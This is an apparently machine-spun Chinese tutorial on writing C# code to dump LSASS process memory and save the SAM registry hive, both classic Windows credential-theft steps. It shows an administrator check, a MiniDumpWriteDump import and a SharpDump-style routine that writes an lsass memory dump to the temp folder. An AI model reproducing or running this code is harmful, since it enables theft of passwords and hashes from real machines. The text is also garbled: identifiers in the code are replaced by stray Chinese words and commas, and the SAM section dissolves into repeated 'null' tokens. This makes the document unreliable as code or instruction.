c#转储系统补丁内存和山姆注册表是怎样的

  介绍

这期内容当中小编将会给大家带来有关c#转储系统补丁内存和山姆注册表是怎样的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

1,检测权限

因为<代码>转储> 补? 注册表需要管理员权限,所以首先需要对当前进程上下文权限做判断。

public  static  bool  IsHighIntegrity ()   {   ,,,,,,,,,,,//,returns  true  if 从而current  process  is  running  with  adminstrative    privs  a 拷贝;high  integrity 上下文   ,,,,,,,,,,,var  identity =, WindowsIdentity.GetCurrent ();   ,,,,,,,,,,,var  principal =, new  WindowsPrincipal(身份);   ,,,,,,,,,,,return  principal.IsInRole (WindowsBuiltInRole.Administrator);   }

2,补丁内存

<代码> MiniDumpWriteDump 是<代码> DbgHelp女士。dll> 转储> MiniDumpWriteDump 实现转储补丁内存的功能,先加载<代码> MiniDumpWriteDump 函数。

[DllImport (“dbghelp.dll",, EntryPoint =,“MiniDumpWriteDump",,   时间=CallingConvention  CallingConvention.StdCall, CharSet =, CharSet.Unicode,,   ExactSpelling =,真的,,SetLastError =, true))   public  static  extern  bool  MiniDumpWriteDump (IntPtr  hProcess, uint    processId, SafeHandle  hFile, uint  dumpType,, IntPtr  expParam,, IntPtr    userStreamParam, IntPtr  callbackParam);

<强>之后调用函数,并保存转储文件,代码如下所示:

namespace  sharpdump   {   ,,,public  class  MiniDumper   ,,,{   ,,,,,,,public  static  string  MiniDump ()   ,,,,,,,{   ,,,,,,,,,,,的过程[],pLsass =, Process.GetProcessesByName (“lsass");   ,,,,,,,,,,,string  dumpFile =, Path.Combine (Path.GetTempPath (),,   string.Format(“补丁{0}.dmp",, pLsass [0] .Id));   ,,,,,,,,,,,if  (File.Exists (dumpFile)), File.Delete (dumpFile);   ,,,,,,,,,,,Console.WriteLine (String.Format (“[*], Dumping 补丁({0}),用{1},,,   pLsass [0] .Id, dumpFile));   ,,,,,,,,,,,using  (FileStream  fs =, new 文件流(dumpFile, FileMode.Create,,   FileAccess.ReadWrite, FileShare.Write))   ,,,,,,,,,,,{   ,,,,,,,,,,,,,,,bool  bRet =, MiniDumpWriteDump (pLsass [0] .Handle,,(单位)pLsass [0] .Id,,   fs.SafeFileHandle,,(单位)2,IntPtr.Zero,, IntPtr.Zero,, IntPtr.Zero);   ,,,,,,,,,,,,,,,if  (bRet)   ,,,,,,,,,,,,,,,{   ,,,,,,,,,,,,,,,,,,,Console.WriteLine (“[+], Dump 成功!“);   ,,,,,,,,,,,,,,,,,,,return  dumpFile;   ,,,,,,,,,,,,,,,}   ,,,,,,,,,,,,,,,   ,,,,,,,,,,,,,,,{   ,,,,,,,,,,,,,,,,,,,Console.WriteLine (String.Format (“[X], Dump 失败!,错误代码:,   {0},,,Marshal.GetLastWin32Error ()));   ,,,,,,,,,,,,,,,,,,,return 零;   ,,,,,,,,,,,,,,,}   ,,,,,,,,,,,}   ,,,,,,,}   ,,,}   }

3,实现注册节省保存山姆注册表

<强>首先导入需要用到的API。

[DllImport (“advapi32.dll",, CharSet =, CharSet.Auto))   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null   null

c#转储系统补丁内存和山姆注册表是怎样的